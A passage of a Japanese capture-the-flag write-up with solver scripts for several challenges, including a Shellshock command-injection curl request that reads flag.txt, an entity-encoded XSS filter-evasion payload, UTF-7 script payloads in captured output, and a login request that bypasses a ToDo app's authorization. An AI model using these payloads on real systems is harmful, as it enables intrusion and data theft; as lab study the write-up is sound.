ダメだったらエラーが出ますが、エラーの箇所によっては、試さなくてもいい組み合わせが判断できるので、実際には 120通りも試す必要はありませんでした。
1559
1560
答え
1561
1562
```
1563
window["eval"]["call"]`${
1564
    [(00000101),(0b1001100),(101), 0x52, 0x54 ]
1565
    ["map"](x=>String["fromCodePoint"](x))["join"]("")["toLowerCase"]() +"(1)"
1566
}`;
1567
```
1568
1569
1570
1571
# 183 記述術 Count Number Of Flag's SubString!
1572
1573
http://210.146.64.36:30840/count_number_of_flag_substring/
1574
1575
----
1576
こんなソルバを書いて突破した(途中まで1文字ずつ解いてた名残で、ちょっとおかしい所があるかも)。
1577
1578
```
1579
#!/bin/bash
1580
1581
LIST="a b c d e f g  h i j k l m n o p q r s t u v w x y z _ %7D"
1582
ANS="afsfdsfdsfso_idardkxa_hgiah"
1583
1584
while :
1585
do
1586
1587
for WORD in $LIST
1588
do
1589
CONTENT=`curl -s "http://210.146.64.36:30840/count_number_of_flag_substring/?str=flag%3D%7B${ANS}${WORD}&count=count"|grep member`
1590
printf "%s %s\n" $WORD $CONTENT
1591
if echo $CONTENT|grep "1" >/dev/null
1592
then
1593
  echo $CONTENT
1594
  #exit 0
1595
  ANS="$ANS$WORD"
1596
  break
1597
fi
1598
sleep 1
1599
done
1600
1601
done
1602
```
1603
1604
flag={afsfdsfdsfso_idardkxa_hgiahrei_nxnkasjdx_hfuidgire_anreiafn_dskafiudsurerfrandskjnxxr}
1605
1606
1607
# 184 記述術 解凍?
1608
1609
184-flag.txt
1610
1611
----
1612
圧縮ファイルの中に圧縮ファイル。その中は更に圧縮ファイル・・・というもの。
1613
しかも圧縮形式がそれそれ違う。
1614
1615
こんなソルバで解いた。
1616
これで全部解ける訳じゃなく、一部手作業での対応を交えつつ解いた。
1617
1618
roop.sh
1619
1620
```
1621
#!/bin/bash
1622
1623
for i in `seq 1 1000`
1624
do
1625
  ./solv_tenkai.sh
1626
done
1627
```
1628
1629
solv_tenkai.sh
1630
1631
```
1632
#!/bin/sh
1633
1634
LIST=`ls|grep -v flatting.sh`
1635
LIST=`ls -rt|grep flag|head -1`
1636
1637
for WORD in ${LIST}
1638
do
1639
  FILE_TYPE=`file ${WORD}`
1640
1641
  echo ${FILE_TYPE}
1642
1643
  if echo ${FILE_TYPE}|grep "Zip archive data" >/dev/null
1644
  then
1645
    unzip -o ${WORD}
1646
    #rm ${WORD}
1647
  elif echo ${FILE_TYPE}|grep "shell archive text" >/dev/null
1648
  then
1649
    sh ${WORD}
1650
    #rm ${WORD}
1651
  elif echo ${FILE_TYPE}|grep "bzip2 compressed data" >/dev/null
1652
  then
1653
    bunzip2 -c ${WORD} > ${WORD}_out
1654
    mv ${WORD}_out ${WORD}
1655
    #rm ${WORD}
1656
  elif echo ${FILE_TYPE}|grep "POSIX tar archive" >/dev/null
1657
  then
1658
    tar xvf ${WORD}
1659
    #rm ${WORD}
1660
  elif echo ${FILE_TYPE}|grep "gzip compressed data" >/dev/null
1661
  then
1662
    gunzip -c ${WORD} > ${WORD}_out
1663
    mv ${WORD}_out ${WORD}
1664
    #rm ${WORD}
1665
  elif echo ${FILE_TYPE}|grep "xz compressed data" >/dev/null
1666
  then
1667
    xz -d -c ${WORD} > ${WORD}_out
1668
    mv ${WORD}_out ${WORD}
1669
    #rm ${WORD}
1670
  elif echo ${FILE_TYPE}|grep "ASCII cpio archive" >/dev/null
1671
  then
1672
    cpio -idv < ${WORD}
1673
    rm ${WORD}
1674
  elif echo ${FILE_TYPE}|grep "ASCII text" >/dev/null
1675
  then
1676
    if cat ${WORD} |grep "This is dummy file" >/dev/null
1677
    then
1678
      rm ${WORD}
1679
    else
1680
      exit 0
1681
      echo sucess?
1682
      read DUMMY
1683
1684
      base64 -d ${WORD} > ${WORD}_out  
1685
      mv ${WORD}_out ${WORD}
1686
      if [ ${?} = 0 ]
1687
      then
1688
        rm -i ${WORD}
1689
      fi
1690
    fi
1691
  else
1692
    :
1693
  fi
1694
1695
done
1696
1697
exit 0
1698
```
1699
1700
1701
1702
1703
# 185 記述術 Make sorted Amida kuji!!
1704
1705
http://210.146.64.36:30840/amidakuji/
1706
1707
----
1708
1709
![185_1.png](185_1.png)
1710
1711
左の数字が、アミダクジに線を引く高さを表している。
1712
右の数字が、どこに線を引くかを表している。
1713
1714
ちにみに、改行する必要はなく、数字が一列に並んでいてもいい。
1715
1716
で、画像のとおり最初は7通りの正解を入力すればいい。これは手動でできる。
1717
1718
すると次のステージが出てきて・・・
1719
1720
![185_2.png](185_2.png)
1721
1722
62通りの入力・・・もう人力ではできませんね。大人しくプログラミングしましょう。
1723
1724
## ランダムに答えを見つける
1725
1726
まず最適解を出力するようコードを書いた。
1727
その後で、一定の確率で回り道をするように修正した。
1728
これを何日間かブン回したんだけど、どうしても **61通り** までしか出力されず、あと1通りがどうしても出力されなかった。
1729
どうやら、ランダムと言っても最適解の近傍しかパターンがでないんだろうなぁ。
1730
1731
```c
1732
#include <stdio.h>
1733
#include <stdlib.h>
1734
#include <time.h>
1735
1736
void main(void){
1737
  int xlimit=8;
1738
  int ylimit=9;
1739
  int table[xlimit+2];
1740
1741
  int work,i,j;
1742
  int count=0;
1743
  int skip_count;
1744
1745
  srand((unsigned)time(NULL));
1746
1747
  for(skip_count=-1; 1000000 >= skip_count ; skip_count++ ){
1748
  table[0]=9;
1749
  table[1]=8;
1750
  table[2]=6;
1751
  table[3]=5;
1752
  table[4]=7;
1753
  table[5]=3;
1754
  table[6]=2;
1755
  table[7]=1;
1756
  table[8]=0;
1757
  table[9]=4;
1758
  count=0;
1759
1760
    for(i=0; ylimit >= i ;i++){
1761
      for(j=0; ylimit > j ;j++){
1762
        if(table[j]>table[j+1]){
1763
          // 一定の確率で、入れ替えるべき所を入れ替えない
1764
          if( ! 70 < rand()%100 ){
1765
            work=table[j];
1766
            table[j]=table[j+1];
1767
            table[j+1]=work;
1768
            printf("%d %d ",i,j);
1769
            //printf("%d %d",i,j);
1770
            //printf("  (%d %d %d %d)\n",table[0],table[1],table[2],table[3]);
1771
            j++;
1772
          }
1773
          count++;
1774
        }else{
1775
          //一定の確率で、入れ替えないところを入れ替える
1776
          if( 70 < rand()%100 ){
1777
            work=table[j];
1778
            table[j]=table[j+1];
1779
            table[j+1]=work;
1780
            printf("%d %d ",i,j);
1781
            j++;
1782
          }
1783
        }
1784
      }
1785
    }
1786
1787
    for(i=0; ylimit >= i ;i++){
1788
      if( table[i] != i ){
1789
        printf(" wrong  - ");
1790
        for(i=0; ylimit >= i ;i++){
1791
          printf("%d ",table[i]);
1792
        }
1793
      }
1794
    }
1795
    printf("\n");
1796
1797
  }
1798
1799
}
1800
```
1801
1802
1803
## 総当りで答えを出す
1804
1805
それで、諦めて総当りで解くコードを書きました。
1806
綺麗に書こうと思って再帰構造を考えてたんだけど、どうにも面倒になって、愚直に9重のループ分を書いた。
1807
ちなみに、思いつきで書いているので、どうにもならなくなって goto文 まで使っちゃってます。
1808
糞コードでございます。
1809
1810
```c
1811
#include <stdio.h>
1812
#include <stdlib.h>
1813
#include <string.h>
1814
1815
void change(int *i,int *j){
1816
  int work;
1817
  work = *i;
1818
  *i = *j;
1819
  *j = work;
1820
}
1821
1822
void main(void){
1823
  int xlimit=8;
1824
  int ylimit=9;
1825
  int table[xlimit+2];
1826
  int i0,i1,i2,i3,i4,i5,i6,i7,i8,i9;
1827
  int j,work,flag;
1828
  char answer[1024];
1829
1830
  int ampt[85][9]={{0,0,0,0,0,0,0,0},
1831
                 {1,0,0,0,0,0,0,0,0},
1832
                 {0,1,0,0,0,0,0,0,0},
1833
                 {0,0,1,0,0,0,0,0,0},
1834
                 {0,0,0,1,0,0,0,0,0},
1835
                 {0,0,0,0,1,0,0,0,0},
1836
                 {0,0,0,0,0,1,0,0,0},
1837
                 {0,0,0,0,0,0,1,0,0},
1838
                 {0,0,0,0,0,0,0,1,0},
1839
                 {0,0,0,0,0,0,0,0,1},
1840
                 {1,0,1,0,0,0,0,0,0},
1841
                 {1,0,0,1,0,0,0,0,0},
1842
                 {1,0,0,0,1,0,0,0,0},
1843
                 {1,0,0,0,0,1,0,0,0},
1844
                 {1,0,0,0,0,0,1,0,0},
1845
                 {1,0,0,0,0,0,0,1,0},
1846
                 {1,0,0,0,0,0,0,0,1},
1847
                 {0,1,0,1,0,0,0,0,0},
1848
                 {0,1,0,0,1,0,0,0,0},
1849
                 {0,1,0,0,0,1,0,0,0},
1850
                 {0,1,0,0,0,0,1,0,0},
1851
                 {0,1,0,0,0,0,0,1,0},
1852
                 {0,1,0,0,0,0,0,0,1},
1853
                 {0,0,1,0,1,0,0,0,0},
1854
                 {0,0,1,0,0,1,0,0,0},
1855
                 {0,0,1,0,0,0,1,0,0},
1856
                 {0,0,1,0,0,0,0,1,0},
1857
                 {0,0,1,0,0,0,0,0,1},
1858
                 {0,0,0,1,0,1,0,0,0},
1859
                 {0,0,0,1,0,0,1,0,0},
1860
                 {0,0,0,1,0,0,0,1,0},
1861
                 {0,0,0,1,0,0,0,0,1},
1862
                 {0,0,0,0,1,0,1,0,0},
1863
                 {0,0,0,0,1,0,0,1,0},
1864
                 {0,0,0,0,1,0,0,0,1},
1865
                 {0,0,0,0,0,1,0,1,0},
1866
                 {0,0,0,0,0,1,0,0,1},
1867
                 {0,0,0,0,0,0,1,0,1},
1868
                 {1,0,1,0,1,0,0,0,0},
1869
                 {1,0,1,0,0,1,0,0,0},
1870
                 {1,0,1,0,0,0,1,0,0},
1871
                 {1,0,1,0,0,0,0,1,0},
1872
                 {1,0,1,0,0,0,0,0,1},
1873
                 {1,0,0,1,0,1,0,0,0},
1874
                 {1,0,0,1,0,0,1,0,0},
1875
                 {1,0,0,1,0,0,0,1,0},
1876
                 {1,0,0,1,0,0,0,0,1},
1877
                 {1,0,0,0,1,0,1,0,0},
1878
                 {1,0,0,0,1,0,0,1,0},
1879
                 {1,0,0,0,1,0,0,0,1},
1880
                 {1,0,0,0,0,1,0,1,0},
1881
                 {1,0,0,0,0,1,0,0,1},
1882
                 {1,0,0,0,0,0,1,0,1},
1883
                 {0,1,0,1,0,1,0,0,0},
1884
                 {0,1,0,1,0,0,1,0,0},
1885
                 {0,1,0,1,0,0,0,1,0},
1886
                 {0,1,0,1,0,0,0,0,1},
1887
                 {0,1,0,0,1,0,1,0,0},
1888
                 {0,1,0,0,1,0,0,1,0},
1889
                 {0,1,0,0,1,0,0,0,1},
1890
                 {0,1,0,0,0,1,0,1,0},
1891
                 {0,1,0,0,0,1,0,0,1},
1892
                 {0,1,0,0,0,0,1,0,1},
1893
                 {0,0,1,0,1,0,1,0,0},
1894
                 {0,0,1,0,1,0,0,1,0},
1895
                 {0,0,1,0,1,0,0,0,1},
1896
                 {0,0,0,1,0,1,0,1,0},
1897
                 {0,0,0,1,0,1,0,0,1},
1898
                 {0,0,0,0,1,0,1,0,1},
1899
                 {1,0,1,0,1,0,1,0,0},
1900
                 {1,0,1,0,1,0,0,1,0},
1901
                 {1,0,1,0,1,0,0,0,1},
1902
                 {1,0,1,0,0,1,0,1,0},
1903
                 {1,0,1,0,0,1,0,0,1},
1904
                 {1,0,1,0,0,0,1,0,1},
1905
                 {1,0,0,1,0,1,0,1,0},
1906
                 {1,0,0,1,0,1,0,0,1},
1907
                 {1,0,0,1,0,0,1,0,1},
1908
                 {1,0,0,0,1,0,1,0,1},
1909
                 {0,1,0,1,0,1,0,1,0},
1910
                 {0,1,0,1,0,1,0,0,1},
1911
                 {0,1,0,1,0,0,1,0,1},
1912
                 {0,1,0,0,1,0,1,0,1},
1913
                 {0,0,1,0,1,0,1,0,1},
1914
                 {1,0,1,0,1,0,1,0,1}};
1915
1916
 for(i0=0;i0<85;i0++){
1917
i0:
1918
 for(i1=0;i1<85;i1++){
1919
i1:
1920
 fprintf(stderr,"INFO i0=%d i1=%d i2=%d i3=%d i4=%d i5=%d i6=%d i7=%d i8=%d i9=%d\n",i0,i1,i2,i3,i4,i5,i6,i7,i8,i9);
1921
 for(i2=0;i2<85;i2++){
1922
i2:
1923
 for(i3=0;i3<85;i3++){
1924
i3:
1925
  //fprintf(stderr,"INFO i0=%d i1=%d i2=%d i3=%d i4=%d i5=%d i6=%d i7=%d i8=%d i9=%d\n",i0,i1,i2,i3,i4,i5,i6,i7,i8,i9);
1926
 for(i4=0;i4<85;i4++){
1927
i4:
1928
  //fprintf(stderr,"INFO i0=%d i1=%d i2=%d i3=%d i4=%d i5=%d i6=%d i7=%d i8=%d i9=%d\n",i0,i1,i2,i3,i4,i5,i6,i7,i8,i9);
1929
 for(i5=0;i5<85;i5++){
1930
i5:
1931
 for(i6=0;i6<85;i6++){
1932
i6:
1933
  //fprintf(stderr,"INFO i0=%d i1=%d i2=%d i3=%d i4=%d i5=%d i6=%d i7=%d i8=%d i9=%d\n",i0,i1,i2,i3,i4,i5,i6,i7,i8,i9);
1934
 for(i7=0;i7<85;i7++){
1935
i7:
1936
 for(i8=0;i8<85;i8++){
1937
i8:
1938
 for(i9=0;i9<85;i9++){
1939
i9:
1940
  //fprintf(stderr,"INFO i0=%d i1=%d i2=%d i3=%d i4=%d i5=%d i6=%d i7=%d i8=%d i9=%d\n",i0,i1,i2,i3,i4,i5,i6,i7,i8,i9);
1941
  table[0]=9;
1942
  table[1]=8;
1943
  table[2]=6;
1944
  table[3]=5;
1945
  table[4]=7;
1946
  table[5]=3;
1947
  table[6]=2;
1948
  table[7]=1;
1949
  table[8]=0;
1950
  table[9]=4;
1951
  flag=0;
1952
  answer[0]=0x00;
1953
1954
  //fprintf(stderr,"in i0\n");
1955
  for(j=0;j<9;j++){
1956
   if(ampt[i0][j]==1){
1957
    change(&table[j],&table[j+1]);
1958
    sprintf(answer,"%d %d ",0,j);
1959
   }
1960
  }
1961
  //printf("Debug: %d %d %d %d %d %d %d %d %d %d\n",table[0],table[1],table[2],table[3],table[4],table[5],table[6],table[7],table[8],table[9]);
1962
  for(j=0;j<9;j++){
1963
    //fprintf(stderr,"D %d %d\n",j,abs(table[j] -j));
1964
    if( abs(table[j] -j) > 9 )goto i0e;
1965
    //fprintf(stderr," thru ");
1966
  }
1967
1968
  for(j=0;j<9;j++){
1969
   if(ampt[i1][j]==1){
1970
    change(&table[j],&table[j+1]);
1971
    sprintf(answer,"%s %d %d ",answer,1,j);
1972
   }
1973
  }
1974
  for(j=0;j<9;j++){
1975
    //fprintf(stderr,"D %d - %d = %d\n",table[j],j,abs(table[j] -j));
1976
    if( abs(table[j] -j) > 8 )goto i1e;
1977
    //fprintf(stderr," thru ");
1978
  }
1979
1980
1981
  for(j=0;j<9;j++){
1982
   if(ampt[i2][j]==1){
1983
    change(&table[j],&table[j+1]);
1984
    sprintf(answer,"%s %d %d ",answer,2,j);
1985
   }
1986
  }
1987
  for(j=0;j<9;j++){
1988
    if( abs(table[j] -j) > 7 )goto i2e;
1989
  }
1990
1991
1992
  for(j=0;j<9;j++){
1993
   if(ampt[i3][j]==1){
1994
    change(&table[j],&table[j+1]);
1995
    sprintf(answer,"%s %d %d ",answer,3,j);
1996
   }
1997
  }
1998
  for(j=0;j<9;j++){
1999
    if( abs(table[j] -j) > 6 )goto i3e;
2000
  }
2001
2002
2003
  for(j=0;j<9;j++){
2004
   if(ampt[i4][j]==1){
2005
    change(&table[j],&table[j+1]);
2006
    sprintf(answer,"%s %d %d ",answer,4,j);
2007
   }
2008
  }
2009
  for(j=0;j<9;j++){
2010
    if( abs(table[j] -j) > 5 )goto i4e;
2011
  }
2012
2013
2014
  for(j=0;j<9;j++){
2015
   if(ampt[i5][j]==1){
2016
    change(&table[j],&table[j+1]);
2017
    sprintf(answer,"%s %d %d ",answer,5,j);
2018
   }
2019
  }
2020
  for(j=0;j<9;j++){
2021
    if( abs(table[j] -j) > 4 )goto i5e;
2022
  }
2023
2024
2025
  for(j=0;j<9;j++){
2026
   if(ampt[i6][j]==1){
2027
    change(&table[j],&table[j+1]);
2028
    sprintf(answer,"%s %d %d ",answer,6,j);
2029
   }
2030
  }
2031
  for(j=0;j<9;j++){
2032
    if( abs(table[j] -j) > 3 )goto i6e;
2033
  }
2034
2035
2036
  for(j=0;j<9;j++){
2037
   if(ampt[i7][j]==1){
2038
    change(&table[j],&table[j+1]);
2039
    sprintf(answer,"%s %d %d ",answer,7,j);
2040
   }
2041
  }
2042
  for(j=0;j<9;j++){
2043
    if( abs(table[j] -j) > 2 )goto i7e;
2044
  }
2045
2046
2047
  for(j=0;j<9;j++){
2048
   if(ampt[i8][j]==1){
2049
    change(&table[j],&table[j+1]);
2050
    sprintf(answer,"%s %d %d ",answer,8,j);
2051
   }
2052
  }
2053
  for(j=0;j<9;j++){
2054
    if( abs(table[j] -j) > 1 )goto i8e;
2055
  }
2056
2057
2058
  for(j=0;j<9;j++){
2059
   //printf("Debug:%d %d %d len:%d\n",i9,j,ampt[i9][j],strlen(answer));
2060
   //printf("%d %d %d %d %d %d %d %d %d \n",table[0],table[1],table[2],table[3],table[4],table[5],table[6],table[7],table[8],table[9]);
2061
   if(ampt[i9][j]==1){
2062
    change(&table[j],&table[j+1]);
2063
    sprintf(answer,"%s %d %d ",answer,9,j);
2064
   }
2065
  }
2066
2067
  //fprintf(stderr,"INFO i0=%d i1=%d i2=%d i3=%d i4=%d i5=%d i6=%d i7=%d i8=%d i9=%d\n",i0,i1,i2,i3,i4,i5,i6,i7,i8,i9);
2068
  //printf("Debug: %d %d %d %d %d %d %d %d %d %d\n",table[0],table[1],table[2],table[3],table[4],table[5],table[6],table[7],table[8],table[9]);
2069
  //答え合わせ
2070
  for(j=0; ylimit >= j ;j++){
2071
    if( table[j] != j ){
2072
      flag=1;
2073
    }
2074
  }
2075
  if(flag==0)printf("%s\n",answer);
2076
2077
 //}}}}}}}}}}
2078
 i9e:
2079
 continue;
2080
}
2081
 i8e:
2082
 continue;
2083
}
2084
 i7e:
2085
 continue;
2086
}
2087
 i6e:
2088
 continue;
2089
}
2090
 i5e:
2091
 continue;
2092
}
2093
 i4e:
2094
 continue;
2095
}
2096
 i3e:
2097
 continue;
2098
}
2099
 i2e:
2100
 continue;
2101
}
2102
 i1e:
2103
 continue;
2104
}
2105
 i0e:
2106
 continue;
2107
}
2108
2109
}
2110
```
2111
2112
これで実行しても62通りの解答は出ないのだけれど(たぶん、ソースのどこかがおかしい)、ランダムに出す方と組み合わせて62通りを達成した。
2113
2114
Flag Get!!Congratulations! flag={021qsyrsuq2020dtsqpq02020zqkiq202020b+tq9202020m_q382020201q34620202qq8b6220202qk+h0l2020qesrqypq02q}
2115
2116
2117
2118
2119
2120
# 191 超文書転送術 GIFアニメ生成サイト
2121
2122
http://yamatoctf:qw8P3j40wEWTK2sRDXs4@210.146.64.47/
2123
2124
----
2125
2126
GIFアニメが生成されるサイト
2127
2128
アップロードするごとに番号が付与される。
2129
1番最初に登録されたものを探すと答えが見つかる。
2130
2131
ただし画像のリンク元が解らないようになっている。
2132
ファイルアップロードする際の動きを、Chromeのデベロッパーツールで見てみるとリンク元が解る。
2133
2134
![191.png](191.png)
2135
2136
という訳で、FLAGは以下のリンク先にある。
2137
2138
http://210.146.64.47/movies/newgif/1
2139
2140
こんなのがある
2141
2142
![191.gif](191.gif)
2143
2144
一瞬ちらっとFLAGがw
2145
2146
答えを見るにはアニメgifファイルを分解する方法もあるけど、目押しでスクリーンショットを取る方法で対応した。
2147
2148
flag={H0WdoUpronunceGIF?}
2149
2150
2151
2152
2153
2154
# 192 超文書転送術 Network Tools
2155
2156
 京の都を荒らしまわっていた伊士川御得門であるが、後継者の育成をどうするか悩んでいた。手下達の情報技術を磨かせるべく、無償で利用できる学習サービスを探すことにした。たまたま手頃なものが見つかったのだが、サイトのセキュリティが怪しいように思われる。問題ないだろうか?
2157
http://210.146.64.37:60888/
2158
2159
----
2160
2161
## ヒントについて
2162
2163
About の所を見てみよう。
2164
なんかヒントがあるみたい。
2165
2166
```
2167
About This Site
2168
Since 2000 we Have offered some Effective training courses , which cover network, Linux, web applications and related Licenses, to Students in worldwide. Hopefully Our services help you understand the Core Knowlegde of technologies.
2169
NOTE: DON'T FORGET TO FIND OUT THE HIDDEN MESSAGE HERE!
2170
```
2171
2172
文中の不自然な箇所が英大文字になっています。抜き出してみましょう。
2173
2174
SHELLSHOCK
2175
2176
シェルショックだー!
2177
2178
## SHELLSHOCK
2179
2180
USERAGENTの編集が必要。Fiddlerとかを使ってもいいと思うんだけど、curlコマンドでやると楽。
2181
2182
```
2183
$ curl  --request POST --data  'cmd=ps&option=-f'  -A '() { :;}; /bin/ls' http://210.146.64.37:60888/exec
2184
<!doctype html>
2185
<title>Network Tools Collection</title>
2186
<link rel=stylesheet type=text/css href="/static/style.css">
2187
<div class=page>
2188
  <div id='menu'>
2189
    <ul>
2190
      <li><a href="/">Welcome</a></li>
2191
      <li><a href="/list">Command List</a></li>
2192
      <li><a href="/about">About</a></li>
2193
      <li><a href="/contact">Contact Info</a></li>
2194
    </ul>
2195
    <div class='caption'>Network Tools ver 0.1</div>
2196
  </div>
2197
  <div id='content'>
2198
2199
  <div class='headline'>ps -f</div>
2200
  <div class='body'>
2201
2202
    flag.txt<br />
2203
2204
    logs<br />
2205
2206
    logs.py<br />
2207
2208
    myapp.cgi<br />
2209
2210
    nwtools.py<br />
2211
2212
    static<br />
2213
2214
    templates<br />
2215
2216
    <br />
2217
2218
  </div>
2219
  <div>
2220
2221
    <br />
2222
2223
  <a href="/list">Return</a>
2224
  </div>
2225
2226
  </div>
2227
</div>
2228
$ curl  --request POST --data  'cmd=ps&option=-f'  -A '() { :;}; /bin/cat flag.txt' http://210.146.64.37:60888/exec
2229
<!doctype html>
2230
<title>Network Tools Collection</title>
2231
<link rel=stylesheet type=text/css href="/static/style.css">
2232
<div class=page>
2233
  <div id='menu'>
2234
    <ul>
2235
      <li><a href="/">Welcome</a></li>
2236
      <li><a href="/list">Command List</a></li>
2237
      <li><a href="/about">About</a></li>
2238
      <li><a href="/contact">Contact Info</a></li>
2239
    </ul>
2240
    <div class='caption'>Network Tools ver 0.1</div>
2241
  </div>
2242
  <div id='content'>
2243
2244
  <div class='headline'>ps -f</div>
2245
  <div class='body'>
2246
2247
    flag={Update bash to the latest version!}<br />
2248
2249
    <br />
2250
2251
  </div>
2252
  <div>
2253
2254
    <br />
2255
2256
  <a href="/list">Return</a>
2257
  </div>
2258
2259
  </div>
2260
</div>
2261
```
2262
2263
flag={Update bash to the latest version!}
2264
2265
2266
2267
2268
2269
# 193 超文書転送術 箱庭XSS
2270
2271
193-hakoniwa-xss-package-q1.zip
2272
2273
---
2274
伝説の箱庭XSSでございます。
2275
2276
OWASPさんの力を借りました。
2277
2278
https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet
2279
2280
上から順々に入力していって~
2281
2282
```
2283
<img src=x onerror="&#0000106&#0000097&#0000118&#0000097&#0000115&#0000099&#0000114&#0000105&#0000112&#0000116&#0000058&#0000097&#0000108&#0000101&#0000114&#0000116&#0000040&#0000039&#0000088&#0000083&#0000083&#0000039&#0000041">
2284
```
2285
2286
これでいけた。
2287
2288
2289
2290
# 194 超文書転送術 YamaToDo
2291
2292
 これはマルチエンコーディングに対応したToDoサービスです。
2293
このサービスの利用者である「yamato」は、大事な情報もToDoに記録する癖があるようです。あなたは、彼の大事な情報を盗み見ることはできますか?
2294
2295
http://yamatoctf:GUn7Sn1LVJQZBwyG8wZPAItnoBZ04Tlx@210.146.64.44/
2296
source code: http://yamatoctf:GUn7Sn1LVJQZBwyG8wZPAItnoBZ04Tlx@210.146.64.44/yamatodo-1bd17c15b05b2ab254a8d8deebcc7430.tar.gz
2297
(sqlmap等を使ひても助けてくださらぬ。ソースコードを読みて存念て下され。)
2298
2299
----
2300
まず、任意のユーザとパスワードを作って登録しましょう。
2301
私は以下で作っておきました。
2302
2303
* id:kanata
2304
* pass:test
2305
2306
まず以下を実行してログイン
2307
2308
```
2309
$ curl --user yamatoctf:GUn7Sn1LVJQZBwyG8wZPAItnoBZ04Tlx -c cookie -b cookie  -d "user_id=kanata" -d "password=test" "http://210.146.64.44/"
2310
```
2311
2312
それで、ユーザ名だけyamatoに変えてもう一回実行
2313
2314
>ログイン認証をcookieで行ってますが、TODOの表示をするためのキーは、Webからの入力に頼っている事に起因した脆弱性・・・というか設計ミスみたいな感じですねw
2315
2316
```
2317
$ curl --user yamatoctf:GUn7Sn1LVJQZBwyG8wZPAItnoBZ04Tlx -c cookie -b cookie  -d "user_id=yamato" -d "password=test" "http://210.146.64.44/"
2318
<!DOCTYPE html>
2319
<html lang="en">
2320
  <head>
2321
    <meta charset="UTF-8">
2322
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
2323
    <meta name="viewport" content="width=device-width, initial-scale=1">
2324
2325
    <title>YamaToDo</title>
2326
2327
    <script src="/js/jquery-1.11.3.min.js"></script>
2328
    <script src="/js/bootstrap.min.js"></script>
2329
2330
    <link href="/css/bootstrap.min.css" rel="stylesheet">
2331
    <link href="/css/theme.css" rel="stylesheet">
2332
  </head>
2333
  <body>
2334
    <div class="container">
2335
      <div class="jumbotron">
2336
        <img src="/images/logo.png" alt="">
2337
      </div>
2338
2339
            <div class="alert alert-danger alert-dismissible fade in" role="alert">
2340
        <button type="button" class="close" data-dismiss="alert" aria-label="Close">
2341
          <span aria-hidden="true">&times;</span>
2342
        </button>
2343
        Invalid param      </div>
2344
            <div class="row">
2345
        <form action="/?ie=UTF-8" method="post">
2346
          <div class="input-group input-group-lg">
2347
            <input type="text" name="body" class="form-control" placeholder="Enter the ToDo☆(ゝω・)v">
2348
            <span class="input-group-btn">
2349
              <input type="submit" class="btn btn-primary" value="New">
2350
            </span>
2351
          </div>
2352
        </form>
2353
      </div>
2354
2355
      <div class="row">
2356
        <ul class="list-group">
2357
                      <li class="list-group-item">
2358
              <span class="badge">0000-00-00 00:00:00</span>
2359
              ※ここに文字化けした文字列※            </li>
2360
                      <li class="list-group-item">
2361
              <span class="badge">0000-00-00 00:00:00</span>
2362
              Yo! check the first todo☆(ゝω・)v            </li>
2363
                      <li class="list-group-item">
2364
              <span class="badge">2015-11-20 14:43:43</span>
2365
              aaa            </li>
2366
                      <li class="list-group-item">
2367
              <span class="badge">2015-11-20 14:43:45</span>
2368
              aaa            </li>
2369
                      <li class="list-group-item">
2370
              <span class="badge">2015-11-20 14:47:21</span>
2371
              flag = mkafh98hwaofnaslh08y4830fjioafnlka            </li>
2372
                      <li class="list-group-item">
2373
              <span class="badge">2015-11-20 23:21:54</span>
2374
              aawfwaef            </li>
2375
                      <li class="list-group-item">
2376
              <span class="badge">2015-11-20 23:43:20</span>
2377
              afewa            </li>
2378
                      <li class="list-group-item">
2379
              <span class="badge">2015-11-21 22:38:51</span>
2380
              test            </li>
2381
                      <li class="list-group-item">
2382
              <span class="badge">2015-11-21 22:49:07</span>
2383
              ’            </li>
2384
                      <li class="list-group-item">
2385
              <span class="badge">2015-11-21 22:50:05</span>
2386
              ’            </li>
2387
                      <li class="list-group-item">
2388
              <span class="badge">2015-11-22 16:52:04</span>
2389
              +ADw-script+AD4-alert(document.location)+ADsAPA-/script+AD4-             </li>
2390
                      <li class="list-group-item">
2391
              <span class="badge">2015-11-22 16:52:07</span>
2392
              +ADw-script+AD4-alert(document.location)+ADsAPA-/script+AD4-             </li>
2393
                      <li class="list-group-item">
2394
              <span class="badge">2015-11-22 16:52:09</span>
2395
              +ADw-script+AD4-alert(document.location)+ADsAPA-/script+AD4-             </li>
2396
                      <li class="list-group-item">
2397
              <span class="badge">2015-11-22 17:15:21</span>
2398
              test            </li>
2399
                      <li class="list-group-item">
2400
              <span class="badge">2015-11-22 17:17:14</span>
2401
              +ADw-script+AD4-alert(document.location)+ADsAPA-/script+AD4-             </li>
2402
                      <li class="list-group-item">
2403
              <span class="badge">2015-11-22 17:17:45</span>
2404
              +ADw-script+AD4-alert(document.location)+ADsAPA-/script+AD4-             </li>
2405
                      <li class="list-group-item">
2406
              <span class="badge">2015-11-22 17:17:50</span>
2407
              +ADw-script+AD4-alert(document.location)+ADsAPA-/script+AD4-             </li>
2408
                      <li class="list-group-item">
2409
              <span class="badge">2015-11-22 17:43:05</span>
2410
              &lt;meta charset=&quot;utf-7&quot;&gt;            </li>
2411
                      <li class="list-group-item">
2412
              <span class="badge">2015-11-22 17:45:17</span>
2413
              +ADw-/title+AD4APA-meta http-equiv+AD0-&#039;content-type&#039; content+AD0-&#039;text/html+ADs-charset+AD0-utf-7&#039;+AD4-            </li>
2414
                      <li class="list-group-item">
2415
              <span class="badge">2015-11-24 02:51:12</span>
2416
              +ADw-/title+AD4APA-meta http-equiv+AD0-&#039;content-type&#039; content+AD0-&#039;text/html+ADs-charset+AD0-utf-7&#039;+AD4-            </li>
2417
                      <li class="list-group-item">
2418
              <span class="badge">2015-12-01 18:42:56</span>
2419
              test            </li>
2420
                      <li class="list-group-item">
2421
              <span class="badge">2015-12-01 18:43:08</span>
2422
              test            </li>
2423
                      <li class="list-group-item">
2424
              <span class="badge">2015-12-01 18:43:38</span>
2425
              test            </li>
2426
                      <li class="list-group-item">
2427
              <span class="badge">2015-12-23 22:30:17</span>
2428
              test            </li>
2429
                      <li class="list-group-item">
2430
              <span class="badge">2015-12-23 22:35:11</span>
2431
              +ADw-/title+AD4APA-meta http-equiv+AD0-&amp;#039;content-type&amp;#039; content+AD0-&amp;#039;text/html+ADs-charset+AD0-utf-7&amp;#039;+AD4-            </li>
2432
                  </ul>
2433
      </div>
2434
    </div>
2435
  </body>
2436
</html>
2437
```
2438
2439
TODOの1件目が文字化けしていますが、エンコードをEUCに変えると以下が見えます。
2440
2441
```
2442
0000-00-00 00:00:00 半角でサブミットしてください☆(ゝω・)v flag={r3m3Mb3r_5c_pr0bL3m}
2443
```
2444
2445
2446
